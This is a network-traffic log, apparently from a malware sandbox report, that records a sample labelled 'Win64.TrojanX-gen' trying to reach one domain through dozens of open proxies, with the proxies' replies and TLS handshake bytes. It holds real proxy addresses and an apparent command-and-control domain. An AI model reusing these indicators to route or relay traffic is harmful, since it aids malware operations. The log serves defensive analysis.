Feb 23, 2024 14:28:27.882553101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.882772923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.694996119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49730	196.20.125.129	8083	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.056237936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49743	82.135.123.155	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.079880953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.451420069 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49764	134.209.29.120	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.086977959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.247733116 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49816	104.16.105.146	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.143544912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.231139898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49734	8.213.129.15	50	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.176455975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.481797934 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49840	104.27.122.6	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.176934004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.264399052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49849	172.67.181.12	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.190431118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.277812958 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49723	115.96.208.124	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.193198919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.537437916 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49813	50.63.12.33	34644	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.196054935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.616590023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.054104090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.913518906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.632340908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.492055893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382636070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.991972923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49802	5.9.98.142	3080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.204389095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49895	172.67.187.242	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.253715038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.341411114 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49763	47.74.152.29	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.257006884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49901	188.114.99.37	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.258980989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.346565008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49886	167.114.107.37	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.263967991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.417850018 CET	70	IN	HTTP/1.0 200 Connection Established Proxy-agent: Website Firewall
Feb 23, 2024 14:28:22.418602943 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 9d 75 99 6a 5a 63 e6 04 60 77 10 84 c9 94 6c d5 a4 cc 1f 1e a3 6a 23 aa af f3 2e e2 15 dc 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eujZc`wlj#.*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 14:28:22.540838003 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 9d 76 cd de 12 9d f7 7c 27 0b 44 1a 14 2e 4a 18 32 fc e2 b2 e6 b8 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?ev\|'D.J2DOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 14:28:22.540872097 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 14:28:22.540911913 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 14:28:22.540929079 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Feb 23, 2024 14:28:22.545881033 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 4b c5 b0 d3 fe 27 4d ef d4 01 67 c9 07 1c bb 0f 5a 6b 14 25 38 1e ca 40 0b 61 55 40 f8 12 11 3d 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 22 d7 9a 36 0c 5d 4a 45 4c d9 f1 a3 ec c6 88 0b fe 8c 8d e5 24 Data Ascii: %! K'MgZk%8@aU@=("6]JEL$xA'M~%l
Feb 23, 2024 14:28:22.670142889 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 8e 3a 3d 07 81 58 95 d8 00 c3 f7 a0 65 65 3b 59 7b 03 a6 e9 d9 db 3d ee 29 5a 03 64 d0 ff 72 f6 52 14 c2 ea 1c 75 6b 03 47 23 27 06 92 e6 e6 f7 f4 cd e0 3f 9b 36 c3 57 db 8e 44 b3 91 6e 09 3a e4 c1 2a Data Ascii: :=Xee;Y{=)ZdrRukG#'?6WDn:R,YdUn]ai$T&p55/g(,4Jf}3t"JvPIz;Cljt,"c=sl["k?8>}q(HbDJ#:
Feb 23, 2024 14:28:22.672313929 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 60 a0 17 86 f0 9f 9b e3 b8 6c 43 76 70 fd 6c 77 8d ae 43 d5 f5 83 e3 61 08 b5 82 e0 96 bc 87 70 a9 6b f1 25 67 8f bb 83 31 86 f7 7a 57 a7 06 fb b7 5b e2 64 dd 1e 2b 47 1d a6 25 b8 e2 fb f3 2d 0d 47 6f 53 54 Data Ascii: `lCvplwCapk%g1zW[d+G%-GoSTN<#7AJ^n[tb&[JF,ri+:nx
Feb 23, 2024 14:28:23.029968023 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 c0 00 2d 92 ca cc 17 39 80 a0 a9 40 32 68 65 ee 6f 93 3f 3a 14 c4 3c 74 05 79 58 8b ff 0e e3 3e 4b 6d b3 f7 71 ce 49 fc 54 fc c7 69 1c 82 f5 e9 40 9c 8e 4f 27 a1 19 fc 12 71 b9 d0 b0 00 b0 1e cf 23 31 68 de Data Ascii: q-9@2heo?:<tyX>KmqITi@O'q#1hgL'u%Qc:8"@=ow=}jsoAa<p/ Xh%Zmk_{$f. -LUf-y-+Z{>"vAHs$(3)owco"cWGpTs
Feb 23, 2024 14:28:23.030000925 CET	1286	IN	Data Raw: c9 91 7d fa 2e 00 00 de 19 d3 d6 22 0f de e1 7a 04 c4 1a ba c3 ad 2c ec 61 53 d0 a2 66 cd e1 01 ce 9c a7 fd 8f 6a b8 2a c7 2c c0 86 59 ac 06 3b 11 06 f8 82 5e 4c d9 ec f5 44 59 86 46 6b af f4 d8 ea 9b 41 2b 07 a5 8c 95 d2 bf ac 42 bb 7a d4 52 9f Data Ascii: }."z,aSfj*,Y;^LDYFkA+BzRi<~>}.qRmo4i%WFuse}.~K<Q%/o >E_C>Dze\0EIrB\-\9N;^H\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49768	178.128.82.105	53299	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.266588926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.960341930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.944752932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.898341894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.817112923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49820	45.11.95.165	5022	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.270791054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.859267950 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49896	154.12.253.232	25007	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.277415991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.616592884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.960352898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49868	138.68.60.8	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.279169083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.434562922 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49989	13.41.14.5	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.312529087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49880	167.99.131.11	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.313812971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:22.484736919 CET	831	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 12:38:51 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49860	45.11.95.165	5032	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
